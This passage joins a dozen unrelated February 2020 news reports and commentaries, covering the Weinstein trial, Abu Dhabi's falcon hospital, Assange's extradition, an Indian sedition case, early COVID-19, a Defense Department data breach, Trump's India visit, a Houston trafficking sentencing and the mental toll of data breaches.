media. Miss Allred feels the need to go out on a daily basis to attack me, which is fine. She can attack me whenever she wants, Rotunno said, according to Page Six. However, shes announcing to the media that I have to leave to attend a funeral. I think its out of line and unprofessional. She added: [Allred] doesnt care that its wrong and its horrible behavior. Allred reportedly disputed Rotunnos claims during her own exchange with the attorney, telling her: You are out of control! I did not say that! Once again, you are distorting the facts! Judge Burke warned Rotunno earlier this week not to speak to the press until the jury has reached a verdict. The warning came after Rotunno published an opinion piece about the case for Newsweek, in which she wrote in part: I implore the members of this jury to do what they know is right and was expected of them from the moment they were called upon to serve their civic duty in a court of law. The opinion piece was published after a controversial interview in which Rotunno said she had never been sexually assaulted because she had never put herself in a position to be attacked. Read more What Harvey Weinsteins trial taught us about sexual assault Eid al-Qobeissy's two birds perch majestically in the waiting room of Abu Dhabi's falcon hospital, awaiting a routine check-up ahead of their hunting trip to Azerbaijan. Like other well-travelled residents of the United Arab Emirates, the falcons will make the journey with their devoted owner on a well-worn route from a country where the creature is both a national symbol and treasured tradition. "This has been a hobby of mine since 2007," said the 26-year-old, gently stroking one of the prized birds of prey, which wear leather hoods to keep them calm and quiet. After waiting in the pristine white-marbled reception area of the animal hospital, the falcons will undergo blood tests in order to complete paperwork for the trip. They are among about 11,000 falcons the hospital treats annually, a number that has more than doubled in the past 10 years. "Falcons have a very special place in the heart of the Emiratis," said the hospital's director Margit Muller. "Here, falcons are not considered birds, they are considered children of the Bedouins because, historically, falcons were used to hunt meat, allowing the Bedouins family to survive in this very harsh desert life." In 2010, UNESCO added falconry to its list of Intangible Cultural Heritage of Humanity. - Talons and training - The Abu Dhabi falcon hospital performs complicated avian surgery, and routine talon trimming procedures / AFP The Abu Dhabi facility is the world's largest falcon hospital, frequented by falconers from across the Gulf region. As well as check-ups and routine trimming of talons, it also conducts complicated surgery and offers a training programme for veterinary students from more than 40 countries to learn about avian medicine. "The very complicated procedures are either broken legs or broken wings, or when a falcon has a really messy accident that results in big injuries," Muller said. "Very long surgeries... can take up to three or four hours. That is the longest we can keep a falcon under anaesthesia." Opportunities to take a falcon hunting are limited in the UAE, where it is only permitted in designated reserves. That means that for many birds, the hospital is an essential stop-off before heading to popular overseas hunting destinations including Morocco, Kazakhstan and Pakistan. Emirati falconers are only legally allowed to own captive-bred birds, which must have their own passports that comply with the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES) for transport. Animals other than guide dogs are not usually allowed in the cabins of the UAE's main carriers, but for falcons exceptions are made. Abu Dhabi's Etihad permits falcons in the cabin or as checked baggage, and Dubai's Emirates allows birds to travel alongside their owner to certain destinations in Pakistan. "The most popular destination for falconers travelling with their falcons in the passenger cabin is Pakistan," an Emirates spokeswoman told AFP. - Girl power - Falconry is a treasured tradition in the United Arab Emirates / AFP While the hospital has its own programme and facilities to breed falcons that can be purchased, most of the birds are imported to the UAE from breeders in the Americas and Europe. "They stay with the falconer for as long as they live," Muller said. "They will not be released because they are captive-bred falcons." Muller added that the most sought-after and expensive falcons are females, which can carry up to five times their own body weight. They are also considered the most beautiful. "The female is usually one third bigger than the male, and more powerful," she said, adding that captive-bred female falcons can cost upwards of 100,000 euros ($108,000). For falconer Salem al-Mansouri from Abu Dhabi, the tradition is much more than an expensive pastime -- it is a symbol of Emirati culture. "Falcons were used to hunt, and you can say that it was the only method for hunting for survival, especially when travelling long distances hundreds of years ago," the 30-year-old told AFP. "We inherited it from our grandfathers and fathers, who taught us, and now we teach the next generation." Labour Party Shadow Chancellor John McDonnell visited Julian Assange yesterday morning at Belmarsh Prison, where the WikiLeaks publisher has been detained for more than 10 months. The visit was held on the eve of US extradition hearings on Monday, with Assange facing Espionage Act charges and life imprisonment for exposing war crimes. UK Shadow Chancellor John McDonnell [Credit: Wikipedia Commons] McDonnell spoke with Assange for around two hours. His meeting with the WikiLeaks founder coincided with a statement by the European Commissioner for Human Rights, Dunja Mijatovic, demanding his extradition be blocked because it would have a chilling effect on media freedom. Mijatovic warned that Assange would be at real risk of torture or inhuman or degrading treatment, in violation of international law, if he were dispatched to the US. Speaking to the press outside Belmarsh, McDonnell stated that it was clear Assanges protracted arbitrary detention had taken a toll on his health. The conditions of Assanges imprisonment, in which he is isolated for over 20 hours a day, raised concerns over a further deterioration of his medical state. The WikiLeaks publisher, however, was strong, determined and familiar with the legal arguments that would be deployed against his extradition. John McDonnell speaks to the media outside Belmarsh Prison McDonnell declared, We dont believe that extradition should be used for political purposes, and all the evidence ... demonstrates that this is a political trial, and we are hoping that the courts will see it that way. The existing British-US treaty explicitly bans extradition for political offenses. Speaking for sections of the establishment nervous over growing support for Assange, McDonnell warned that a successful extradition would damage the democratic standing of our own country as well as America. It would, he said, damage our reputation. The Labour MP stated, I think this is one of the most important and significant political trials of this generation. In fact, longer. I think it is the Dreyfus case of our age, the way in which a person is being persecuted for political reasons for simply exposing the truth of what went on in relation to recent wars. Alfred Dreyfus, a Jewish officer, was framed and imprisoned by Frances military command, government and extreme right-wing forces at the turn of the 19th century. Ultimately Dreyfus was exonerated and freed thanks to the political fight spearheaded by the French socialist movement and courageous intellectuals, including the novelist Emile Zola. McDonnells comparison points to the immense historical significance of the Assange case and its implications for the democratic rights of millions of people. The reference to the Dreyfus case, however, highlights the politically criminal role of Labour and McDonnell himself, in refusing to mount any struggle in defence of Assange. McDonnell echoed the position laid down by Labour leader Jeremy Corbyn last April that Assanges fate should be left to the courts. We are hoping that in court [Assange] is able to defeat the extradition bid. We dont believe that extradition should be used for political purposes. He claimed that he, Corbyn and unnamed Labour MPs could build a cross-party alliance to fight extradition, including Conservative MPs such as David Davis. He repeated Corbyns claim that there were deep doubts in the Tory government about the unbalanced nature of the extradition treaty between the US and the UK that would provide the basis for such an alliance. McDonnell said Labour would be constrained from even raising the issue in Parliament, let alone campaigning actively for Assanges freedom. The problem we have now is that when the hearings start, they will be sub judice, and it will be difficult to raise it in the House of Commons. But we will be looking to see how we can raise it as often as we possibly can, of course, within parliamentary rules. This is an extraordinary declaration. McDonnell said nothing about Assange for 10 years, including while occupying the second highest position in the Labour Party. He broke his silence on February 4, as keynote speaker at a meeting organised by the Dont Extradite Assange campaign, only in order to head off widespread criticism of his and Corbyns silence, especially during the campaign for the December 2019 general election. Now, just over two weeks later, he used a press conference after his first ever meeting with Assange to profess his respect for the courts and his intent to have friendly chats with the one Tory MP who has professed mild concern regarding Assanges fate. Following his remarks, a WSWS reporter asked McDonnell whether Labour would mobilise its membership and the working class to secure Assanges freedom. McDonnell stated only that he would urge people to attend demonstrations for the first day of the hearing and that the campaign will continue. Another WSWS reporter asked McDonnell, in the context of elections for a new Labour leader, what position candidates Rebecca Long-Bailey and Keir Starmer take on the Assange case. McDonnell claimed that he did not know, telling the WSWS reporter to ask them yourself. He hoped the Labour Party would oppose the extraditionwithin parliamentary rules, of course. McDonnells profession of ignorance regarding the two most prominent candidates for Labour leadership, to be decided in April, is a shameful evasion. Starmer, the frontrunner, was intimately involved in the political conspiracy against Assange. He was Director of Public Prosecutions when the Crown Prosecution Service (CPS) opposed a bail application for the WikiLeaks founder, ensuring his continued arbitrary detention. He headed the CPS in 2012 when it pressured Swedish prosecutors not to drop their sexual misconduct investigation, to provide the British authorities with a pretext to continue their siege of Ecuadors London embassy, where Assange was a political refugee. Long-Bailey has been anointed by McDonnell as the favoured candidate to succeed Corbyn, apparently without ever asking her opinion on Assanges extradition during the two years they sat together in the shadow cabinet. McDonnell refused to provide an honest answer because he knows full well that the incoming Labour leadership will be composed of implacable foes of Assanges freedom. He came under immediate attack by the Blairite Jewish Labour Movement (JLM) for his deeply offensive comparison between Assange and Dreyfus. Mike Katz, national chair of the JLM, declared, What an absolutely ridiculous and offensive thing to say. Though I can see how you could confuse Dreyfus, a loyal soldier wrongly accused of treason because he was a Jew, with an entitled bloke who hid in a foreign embassy to evade extradition on a rape allegation. While claiming to defend Assange, Corbyn and McDonnell are covering the backs of the political scoundrels and warmongers who make up the Parliamentary Labour Party and sowing illusions in a Tory government that has detained him in solitary confinement in a maximum security prison, trampled on his legal and democratic rights and done everything possible to facilitate his dispatch to the war criminals in the White House and the Pentagon. Corbyn and McDonnell are seeking to promote illusions in Parliament and the judiciary out of fear that Assanges plight could become the focal point for an independent political movement of the working class, amid an upsurge of the class struggle and mass hostility to war, austerity and the turn by governments internationally to authoritarianism. Father of Amulya Leona, the activist who has been charged with sedition for raising the 'Pakistan Zindabad' slogan during an Anti-CAA rally were Asaduddin Owaisi was present, has denied the allegations that she has "Maoist links". Karnataka Chief Minister BS Yediyurappa had on Friday alleged that the student activist had links with Maoists. Amulya's father Oswald Noronha, however, denied the charge and sought an inquiry into it. Distancing himself from Amulya's pro-Pakistan slogan, her father said he was not aware of his links with Maoists or had any sympathy for them. "I have no idea about her involvement with Maoists as she went to Bengaluru over a year ago for studying BA after schooling in Chikkamgaluru," Noronha told a local news channel. Amulya's father condemned her action saying "What Amulya said is wrong" and went on to attribute it to the company she keeps. READ | 'Pro-Pak Sloganeer At Owaisi Rally Had Maoist Links, Will Book Organisers': CM Yediyurappa Karnataka CM claims 'Maoist links' Sources report that Karnataka Home Minister Basavaraj Bommai is currently probing into Leona's alleged Maoist links. Moreover, sources report that Leona has openly stated that her statements were according to scripts given to her by several groups supporting her. "Bail should not be given to Amulya. Her father has also said he won't protect her. It is now proved that she had contacts with Naxals. Proper punishment should be given," CM Yediyurappa had claimed. READ | Amulya Leona's Chikmagalur Home Vandalised By Miscreants After Her 'Pro-Pak' Slogans Asserting that the incident was a conspiracy to disturb peace and harmony in the state, the Chief Minister said legal action would also be taken against the organisers of Thursday's anti-CAA rally. The Bengaluru Police Commissioner has confirmed that the organisers who gave Amulya a platform to make such a statement will be booked. Moreover, he added stringent conditions will be put forth to prevent such incidences. READ | Pro-Pak Sloganeer At Owaisi Rally Charged With Sedition, Sent To 14-day Judicial Custody Activist charged with sedition According to police, a suo moto case under Section 124A (sedition), 153A and B (promoting enmity between different groups and imputations, assertions prejudicial to national integration) has been registered against the activist. On Thursday, Amulya Leona had disrupted an address by Owaisi and raised the slogans. Visuals showed that Owaisi tried to grab her mike while authorities tried to get her off stage. It was unclear what exactly she said, but it is believed that she raised certain pro-Pakistan slogans. The activist was heckled out by those on the stage and taken away by police. READ | Pro-Pak Slogan By Activist At Owaisi Event 'underbelly Of These Protests': BJP's Malviya Diplomats from ASEAN and China shake hands at a summit meeting on the COVID-19 coronavirus in Vientiane. Singapore's Foreign Minister Vivian Balakrishnan is third from left. (PHOTO: Dene-Hern Chen/AFP via Getty Images) SINGAPORE The next couple of weeks will be crucial in ascertaining if measures to contain the COVID-19 coronavirus outbreak in Asian countries have borne fruit, said Minister for Foreign Affairs Vivian Balakrishnan. In a CNA interview on the sidelines of the ASEAN-China Foreign Ministers Meeting in Vientiane on Thursday (20 February), he said that developments over the next two to three weeks may define whether the outbreak which is largely confined to Asia at the moment becomes a global pandemic. Over the next two weeks, we will have a clearer idea of the trend within China whether its unprecedented actions have borne fruit, whether the number of new cases will fall, or whether in fact you're dealing with widespread community transmission and a pandemic, he said. We will also have to watch what happens in Northeast Asia and Southeast Asia, including within Singapore. If the cases remain confined to clusters, like what we have now, and you don't see further evidence of widespread community transmission, that will be positive. But if on the other hand, you see across Northeast Asia and Southeast Asia widespread community transmission, then you know you're in a completely different phase of what I believe may become a global pandemic. Concerns of under-reporting countries unfounded More than 75,000 people have been infected globally with more than 2,200 deaths, mostly in China. Six out of the 10 ASEAN countries have confirmed cases of the virus; Singapore alone has 85 cases, with 37 discharged as of Thursday. While there have been concerns that some countries may be under-reporting confirmed COVID-19 infection cases, Dr Balakrishnan believes that such concerns are unfounded, even as there are sizeable differences in the sophistication and ability of healthcare systems among the countries. This is a situation that you can't hide. If you haven't noticed it yet a fire is smouldering under your feet, it will soon become rapid. So I don't think anyone is deliberately or wishfully engaged in denial, he told CNA. Story continues But we need to accept that there is great diversity in the sophistication and the ability of our healthcare systems both to detect and treat, and to the extent that we can help one another. I'm confident actually of our response in Singapore. But we should also remember that it is also in our own long-term interest to help our neighbours to be constructive, to help them level up their standards, and to work together. That's protecting Singaporeans, too. He gave the example of Singapore laboratories developing Polymerase Chain Reaction (PCR) tests immediately after China isolated the COVID-19 virus and published the genome worldwide. Furthermore, when Wuhan the epicentre of the outbreak was overwhelmed with infections, Singapore was able to help in providing some test kits at the acute phase. Such support is important to maintain relations between Singapore and other Asian countries, given that some of the worlds busiest land and air links are in Singapore and around the Asia region, said Dr Balakrishnan. This will translate to profound knock-on effects in tourism, ports, airports, global supply chains and commodity prices. No lax attitude among regional countries Dr Balakrishnan also refuted concerns that some countries in the region are showing a lax attitude in dealing with the COVID-19 outbreak, saying that each country has valid differences in approach and priorities. Everyone takes this seriously, no question about it, he said. What I am more concerned about is that given the diversity in Southeast Asia and the diversity in the sophistication of healthcare systems; it will be dreadful if we have an epidemic or pandemic that catches alight in countries whose healthcare systems are much less able to cope. In the meantime, each of us at the domestic level has to solve our own problems and do our best. And if we do our best and we cooperate with our neighbours, we can reduce the potential impact it has on others whose economies and healthcare systems may actually be less able to tolerate this challenge. By doing their best to contain the viral outbreak, Dr Balakrishnan believes it will buy time for medical experts to refine clinical protocols, improve testing, identify the drugs that will work and hopefully develop a vaccine for the COVID-19 virus. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Related stories: COVID-19: Singapore confirms 1 new case bringing total to 85; 3 more discharged COVID-19: First patient in Singapore discharged after 28-day stay, counts himself lucky report Singapore Red Cross raises $6m for COVID-19 relief efforts in China COVID-19: Israel bans entry for foreign travellers from Singapore COVID-19: How it's spreading in Singapore and the world This month, the US Department of Defense sent out letters to people whose personal information had been exposed by a 'data breach' at one of its agencies. The attack targeted the Defense Information Systems Agencys (DISA) computer systems and is believed to have taken place between May and July of 2019. DISA has more than 8,000 military and civilian employees, who oversee information sharing and communication technology for the Department of Defense, The Defense Information Systems Agency, a part of the Department of Defense that oversees military communications, information sharing, and presidential calls, announced it had been hacked in 2019 The agency's work includes oversight on presidential communications and calls to Donald Trump. The Department of Defense has declined to say what they know the identity of the hackers. The department has confirmed that personal information of more than 200,000 people was exposed, according to a report in TechCrunch. The Defense Information Systems Agency has begun issuing letters to people whose personally identifiable information may have been compromised in a data breach on a system hosted by the agency, DISA spokesperson Charles Prichard said. While there is no evidence to suggest that any of the potentially compromised PII was misused, DISA policy requires the agency to notify individuals whose personal data may have been compromised. DISA, which employs around 8,000 military personnel and civilians, won't say whether they've identified those responsible for the breach, nor what their motive was, but it's believed to have occurred between May and July of 2019 Earlier this month, DISA sent out letters alerting people whose personal information had been exposed, offering free credit monitoring services as compensation News of the hack began to spread earlier this week, when people began to post pictures of the breach letter they'd received from DISA on Twitter DISA has conducted a thorough investigation of this incident and taken appropriate measures to secure the network. The agency began sending these letters to people on February 11th, offering free credit monitoring services to help make amends for the violation of privacy. Andy Piazza, who works with the cybersecurity and intelligence firm Phia LLC, posted a copy of the letter he received from DISA to Twitter on February 18th. Awesome, he wrote. Got another #PII #breach letter from DoD. Is this like pokemon where I want to catch them all? The agency hasnt commented on whether the hack affected any classified information but the exposed personal information is believed to have included social security numbers among other information. Ivanka Trump and Jared Kushner will be joining US President Donald Trump and First Lady Melania Trump during their visit to India next week. Official sources have confirmed to Republic TV that US President Trump will be joined by his senior advisors, as part of a high-level delegation during his visit. READ: India, US Eyeing To Ink Five Pacts During Donald Trump's Maiden Visit First family's visit to India This will not be her first visit to India, having visited the country in 2017 to attend the Global Entrepreneurship Summit (GES) in Hyderabad. During her visit in November 2017, she met PM Modi, then Defence Minister Nirmala and then ICICI CEO Chanda Kochar. Ivanka Trump also delivered a keynote address at the event. US President Trump will be visiting India on February 24 and February 25 on an official visit. This is his first visit to India since taking over the office and is a short, intense trip that will last less than 36 hours. President Trump will be landing in Ahmedabad on February 24 around noon and will later proceed to the newly renovated Motera stadium where he will be taking part in a grand event that'll be along the lines of 'Howdy Modi' event that took place in Texas. He will then visit New Delhi on February 25 where he will have multiple meetings with the PM and also attend a business summit. READ: Doing A Very Big Trade Deal With India; Don't Know If It'll Be Before Election: Trump Ahead of the visit, there have been talks about India and the United States agreeing on a trade package as a precursor to a major trade deal. During his commencement address, Trump indicated that the talks on this might slowdown if he did not get a good deal. "Maybe we'll slow down. We'll do it after the election. I think that could happen too. So, we'll see what happens. But we're only making deals if they're good deals because we're putting America first. Whether people like it or not, we're putting America first," he said. READ: Ahmedabad To Welcome US President With Grand 'Namaste Trump' Event, Declares Ram Madhav Bilateral India-US trade in goods and services is about 3% of the US' world trade. In a recent report, the Congressional Research Service (CRS) said the trading relationship is more consequential for India -- in 2018 the United States was its second largest goods export market (16.0% share) after the European Union (EU, 17.8%), and third largest goods import supplier (6.3%) after China (14.6%) and the EU 28 (10.2%). READ: Ahmedabad To Welcome US President With Grand 'Namaste Trump' Event, Declares Ram Madhav A judge on Thursday sentenced a Houston woman to 50 years in prison for raping a 16-year-old girl and forcing her into prostitution over the 2018 Christmas holiday. Marilyn Joy Wilkes, 27, pleaded guilty last year to charges of sexual assault of a child under 17, human trafficking and compelling prostitution. Prosecutors accused her of a monthlong pimping operation where she raped the teen, forced her to solicit strangers for sex in southwest Houston and made her see buyers at their homes or in a motel room on F.M. 1960. When the girl refused to work, Wilkes would retaliate by punching her in the face, burning her with cigarettes and stomping on her head, according to the Harris County District Attorney's Office. The teen had a $600 per day quota, and after failing to meet that on one occasion, Wilkes broke the teen's finger and several ribs, prosecutors said. Wilkes used that money to pay for a motel, food, alcohol and drugs, charging documents show. The girl escaped in January 2019 when she asked a stranger -- who was allegedly a prospective sex buyer -- to use his phone to call her mother, police said. Her mother arrived at the man's Spring-area home to pick her up, and they sped off with Wilkes hot on their tail. The mother and daughter called the police, eventually meeting an officer in the parking lot of a Walmart. Authorities arrested Wilkes more than two months later, according to court records. Judge Nikita Harmon stacked two 25-year prison sentences for the prostitution and human trafficking charges. Wilkes was also sentenced to a maximum of 20 years for sexual assault, which will run concurrently with the other sentences. Only a true predator would force a minor to become a street walker, Harris County District Attorney Kim Ogg said in a Friday news release. Someone who steals a childs youth by brutally coercing them to have sex with strangers for their own profit, like in this case, deserves to spend time in prison. Prosecutor Micala Clark argued the case, bringing forward the teen, her mother and a psychologist to testify. This was an example of the typical grooming that pimps use to victimize women, Clark said. This young woman suffered post-traumatic stress disorder, insomnia and nightmares at the hands of this predator. Defense attorney John Arthur Clark, Jr. declined to comment beyond saying, "it was a tough sentence." Beijing: A 29-year-old Chinese doctor, who postponed his wedding to treat patients infected with the deadly coronavirus, has died treating them after being infected by the virus, the ninth fatality among the healthcare providers working to contain the outbreak. Dr Peng Yinhua, doctor of a Wuhan hospital who treated patients infected with the coronavirus, died on Thursday night, according to the health bureau. Peng, a respiratory acute care medical professional, became infected while working to combat the novel coronavirus at the First People's Hospital of Jiangxia District of Wuhan. He was hospitalised on January 25 and transferred to the Wuhan Jinyintan Hospital for treatment on January 30. "Peng Yinhua, a frontline doctor at Jiangxia First Hospital in virus epicenter #Wuhan, died of #COVID19 on Thursday night. He had earlier delayed his wedding as he wanted to treat patients with the disease at hospital," state-run Global Times tweeted on Friday. He died from the virus despite doctors' all-out efforts to save his life. Chinese health authorities have asked health agencies to apply for the honour of martyr for deceased medical staff to the veteran's affairs authorities, comfort the families of the deceased and help solve their difficulties, as well as publicise stories of those who sacrificed their lives during the epidemic, state-run Xinhua news agency reported. Li Wenliang, the 34-year-old Chinese doctor, who was one of the first people to sound the alarm about the new outbreak died on February 7. Li sent a message to his medical-school alumni group on December 30, warning that seven patients had been quarantined at Wuhan Central Hospital after coming down with a respiratory illness that seemed like the SARS coronavirus. But Wuhan police reprimanded and silenced Li. Earlier, Dr Liu Zhiming, head of the Wuchang Hospital died due to the virus. On the same day Liu Fan, senior nurse of the hospital, died along with her parents and brother due to the virus. China's National Health Commission earlier said that a total of 1,716 medical workers had contracted the infection as of February 11. Peng's death takes the death toll among the medical staff to nine. (Bloomberg) -- Donald Trump was surprised and angered by the Justice Departments decision not to charge Andrew McCabe with crimes, but the president is wary of acting against the former deputy FBI director out of concern he might push Attorney General William Barr to resign, according to people familiar with the matter. The Justice Department gave the White House no advance notice of its decision on McCabe, meaning Trump found out along with the public when it was announced on Tuesday, three of the people said. That created fresh point of potential tension between Trump and Barr, who has publicly criticized Trumps tweets about criminal cases DOJ is pursuing and has privately told associates he may quit. The president is weighing his options to respond to the Justice Departments non-prosecution decision on McCabe, but it isnt clear he can do anything, the people said. He is aware that he should proceed delicately, given Barrs position, they said. The people asked not to be identified discussing the presidents private deliberations. The White House and Justice Department communications staff declined to comment. Trumps frustration with McCabes case is related to his concern about the Justice Departments prosecution of his friend and former associate Roger Stone, who was sentenced Thursday to more than three years in prison for lying to Congress and threatening a witness in the investigation of Russian interference in the 2016 election. Trump believes the justice system is applying a double standard to political cases, with his allies receiving far harsher treatment than his opponents. Trump could order Barr or FBI Director Christopher Wray to open an investigation into McCabe, although theyd be under no obligation to comply. Such a move might force them to resign. Barr said in a Feb. 13 interview with ABC News that he wouldnt carry out such an order. If he were to say go investigate somebody because -- and you sense its because theyre a political opponent -- then the attorney general shouldnt carry that out, wouldnt carry that out, he said. Story continues Wray recently testified before the House Judiciary Committee that he has never been asked to open an improper investigation. Trump publicly bemoaned the McCabe situation on Thursday, tweeting a remark from a Fox News guest that the decision to not prosecute was utterly inexplicable. Shortly after, speaking in Las Vegas, he linked the cases of Stone and McCabe. What happened to him is unbelievable, Trump said of Stone. They said he lied, but other people lied too. He went on to cite McCabe along with former FBI director James Comey. Comey lied, McCabe lied, Lisa Page lied, her lover, Strzok, Peter Strzok, lied, Trump said, referring to a former FBI attorney and agent. He left open the possibility of an eventual Stone pardon. Im going to watch the process, Im going to watch it very closely, and at some point Ill make a determination. But Roger Stone and everybody has to be treated fairly, and this has not been a fair process, Trump said. Im here to make a fair system, Trump said. Barr complained in the ABC interview that Trumps public remarks on the cases made his job impossible. But he has also ordered a review of the prosecution of former Trump adviser Michael Flynn, the latest politically sensitive intervention into a case with a defendant linked to the president. I do make his job harder, I do agree with that, I think thats true, Trump said earlier this week after he was asked about Barrs remarks. Hes a very straight shooter, we have a great attorney general, and hes working very hard. And hes working against a lot of people that dont want to see good things happen, in my opinion. But he said his social media posts would continue. In the media, I dont get that voice. So Im allowed to have a voice, he said. --With assistance from Josh Wingrove. To contact the reporters on this story: Jennifer Jacobs in Washington at jjacobs68@bloomberg.net;Chris Strohm in Washington at cstrohm1@bloomberg.net To contact the editors responsible for this story: Kevin Whitelaw at kwhitelaw@bloomberg.net, Justin Blum For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. United States (US) President Donald Trump will make a high-visibility two-day trip to India, starting Monday. His first stop will be Ahmedabad, where he will be received by Prime Minister Narendra Modi. Referring to his maiden visit, Trump said: He [Modi] told me we will have 7 million people between the airport and the event. The event will be similar to the Howdy Modi extravaganza in Houston, Texas, in September, where Trump also made an appearance at a large gathering of the Indian-origin diaspora in the US. However the scale of this public diplomacy will be in contrast to the modest outcome during the formal meetings in Delhi. Speaking on February 18 about his first visit to India, Trump dashed hopes of any major trade deal. We can have a trade deal with India but I am really saving the big trade deal for later on. In the Trump worldview, India has been a difficult trade interlocutor and he has, in the past, accused Delhi of being the worlds tariff king, and the Harley Davidson motorbike episode has become the symbol of presidential ire. According to the United States Trade Representative data, in 2018, the US trade deficit with India was $25.2 billion, of which the goods trade deficit was $20.8 billion. Hence Trump asserted, We are not treated very well by India but I happen to like prime minister Modi a lot. This puts Modi in a special category, for there are not too many global leaders who have received such positive endorsement from Trump, despite differences, and a reflection of deft Indian diplomacy. But as expected, while the trade relationship is in the doldrums over tariff issues and dismay in Delhi about the US removing India from the list of developing countries, the military supplies relationship remains robust and points to a shared albeit unequal strategic partnership in the maritime domain. On February 19, the Indian Cabinet approved a $2. 6-billion-acquisition of 24 US- made (Lockheed Martin) multi-role helicopters for the Navy. This arms deal is expected to be among the more substantive outcomes of the Trump visit and will strengthen the bilateral defence and security relationship that acquired greater traction in 2009. This followed the historic rapprochement between the US and India in late 2008 after decades of bitter estrangement over the nuclear issue that was resolved during the George Bush-Manmohan Singh watch. The trigger in Washington for this accommodation of India was strategic and China-related. The core Bush team, led by Secretary of State Condoleezza Rice, had arrived at a determination in early 2005 that an intractable estrangement with India was not in the larger US strategic interest against the backdrop of a rising China that was becoming more assertive. Hence the radical review by the White House of the bilateral ties with India. Fifteen years later, while the broad orientation of the bilateral relationship remains consistent with what was envisioned in 2005, the cost-benefit analysis in Washington apropos India has undergone a Trump transmutation. China remains a strategic concern for Washington but the current White House team is diluting its commitment to globalisation and free-trade to protect US interests. The ensuing turbulence has had its impact on both Beijing and Delhi, and the Trump visit reflects this unrelenting focus on the transactional element and the benefits that would accrue for the re-election campaign of the US President. In the elliptical manner that Trump policies are modified, he added about the India visit: We are doing a very big trade deal with India. We will have it. I dont know whether we will have it before the [US] election, but we will have a very big deal with India. The fact that India is a major democracy was earlier seen in the US as a distinctive characteristic, to be encouraged. This is no longer the primary driver of the bilateral relationship. India is not among the top five trading partners of the US and is not a formal military ally. Many areas of dissonance exist, ranging from the USs policy towards Pakistan-Afghanistan-Iran and Washingtons unhappiness with India over the supply of certain Russia military equipment. Given its lower index of comprehensive national power in relation to the US and China, India has to engage in the equivalent of subaltern tightrope, walking to strike the appropriate balance in the complex relationship that animates the Washington-Beijing-Delhi strategic triangle. India has a deep security and strategic trust deficit with China but seeks to improve the trade and economic relationship with Beijing to reach the coveted $5- trillion GDP figure that Modi aspires to reach by 2024. Consequently, India will have to work towards enhancing its trade footprint with the top two global economies the US and China even while managing the individual security-strategic dissonances. The security engagement with the US enables India to better manage its China dilemma. The US policy towards China is in a state of flux over trade matters, now compounded by the coronavirus challenge, but the final Trump-Modi statement will be closely studied in Beijing for its strategic subtext. The Trump visit to India testifies to the emergence of what may be termed a contra-polar world, wherein contradictory policy pursuits and contrarian impulses are increasingly becoming the norm. C Uday Bhaskar is director, Society for Policy Studies, New Delhi The views expressed are personal After a restorative getaway last July a week in Stockholm, another exploring Norways fjords and a picturesque hike deep into the peaceful wilds of western Swedens forests Christopher Lane returned home to his Chicago condo and an overflowing mailbox. A nondescript envelope stamped Important Update Open Immediately caught his attention. Inside was an alarming notice that his medical and financial information had been stolen. As the news sank in, I felt dizzy with shock, said Lane, 53, a professor of English and the medical humanities at Northwestern University. Details of the data breach were scarce. The company had filed for bankruptcy. Advice from a helpline was next to useless, Lane says. He had no way of knowing how much of his data had been compromised or what the consequences would be. Lane channeled his helplessness and frustration into Side Effects, his mental health and public health blog at Psychology Today, to help others in similar predicaments and raise awareness. As breach after breach exposes the vulnerability of systems that are supposed to guard our private information, Lanes experience has become distressingly common. So have his feelings about it. Think of it as a hidden but growing epidemic. Mental health professionals say data breaches and other cyber crimes are increasingly taking a heavy psychological toll on the millions of Americans whose personal information is plundered by fraudsters. Stealing data from 145 million America: How Chinese military hackers allegedly pulled off the Equifax data breach Equifax breach: How to 'freeze' your credit following news of China military hack Its not just the nightmarish process of clearing your name and credit history or the struggle to get credit or loans, housing, employment or medical services after a breach. Victims wrestle with feelings of powerlessness and vulnerability. Their sleep can be disrupted, energy levels decrease. They self-medicate with alcohol, drugs or food. For some, the aftereffects are more severe: bouts of depression and anxiety, even post-traumatic stress disorder. Story continues With every exposure you have to it, with every reminder, you get retraumatized, says Stanford University psychiatry professor Elias Aboujaoude, author of Virtually You: The Dangerous Powers of the E-Personality. In extreme cases, data theft can wreck lives. Resignations, divorces and suicides followed the release of stolen information names, addresses, phone numbers and birth dates and details of credit card transactions from Ashley Madison, a popular dating website marketed to adulterers. Depending on who the attackers and the victims are, the psychological effects of cyber attacks may even rival those of traditional terrorism, says Dr. Maria Bada, research associate at the Cambridge Cybercrime Centre at the University of Cambridge. This week, San Francisco psychiatrist Ryan Louie is leading a session at the RSA Conference, the worlds largest gathering of security experts, on #Psybersecurity: Mental Health Impact of Cyberattacks. San Francisco psychiatrist Ryan Louie is leading a session at the RSA Conference, the worlds largest gathering of security experts, on #Psybersecurity: Mental Health Impact of Cyberattacks. Were just at the tip of the iceberg right now, Louie says. Everyone is going to begin realizing that these cyber attacks, which are getting more and more technically complex and more and more damaging, are affecting peoples way of thinking, their feelings and their emotions. Victims report feeling frustrated and helpless Much of the emotional fallout from cyber crimes is anecdotal, but researchers have begun to study it. According to a recent survey by the nonprofit Identity Theft Resource Center, 86% of victims of identity theft reported feeling worried, angry and frustrated. Nearly 70% felt they could not trust others and they felt unsafe. More than two-thirds reported feelings of powerlessness or helplessness. Sadness or depression afflicted 59%. Half of the victims reported losing interest in activities or hobbies they once enjoyed. These negative emotions can have physical repercussions. Nearly 85% reported disturbances in their sleep habits, 77% reported increased stress levels and nearly 64% said they had trouble concentrating. Aches, pains, headaches and cramps were symptoms for nearly 57%. Consumers arent the only ones in harms way. On the front lines of a high-stress occupation, cybersecurity professionals shoulder the weighty responsibility of protecting other peoples data. Louie says these professionals frequently describe being in a constant state of high alert. Even when they clock out, they feel incapable of turning off. Guilt and shame are common reactions to data thefts that occur on their watch. Victims of data breaches can suffer bouts of depression and anxiety, even post-traumatic stress disorder, says Stanford University psychiatry professor Elias Aboujaoude, author of Virtually You: The Dangerous Powers of the E-Personality. In recent years, awareness of the mental health impact of cyber crime has shot up in tandem with the rising number of incidents, says crisis management professional Terri Howard, senior director at FEI Workforce Resilience in Milwaukee which provides support to companies and their employees after crises such as workplace shootings and natural disasters. Psychological toll increasing with cyber attacks After the Target data breach in 2013, calls about cyber attacks escalated, Howard says. Hotlines her company set up through the employee assistance program buzzed constantly. FEI Workforce Resilience found itself administering what Howard calls psychological first-aid to shell-shocked and stressed-out employees whose information had been nabbed. For these employees, the threat of the stolen data 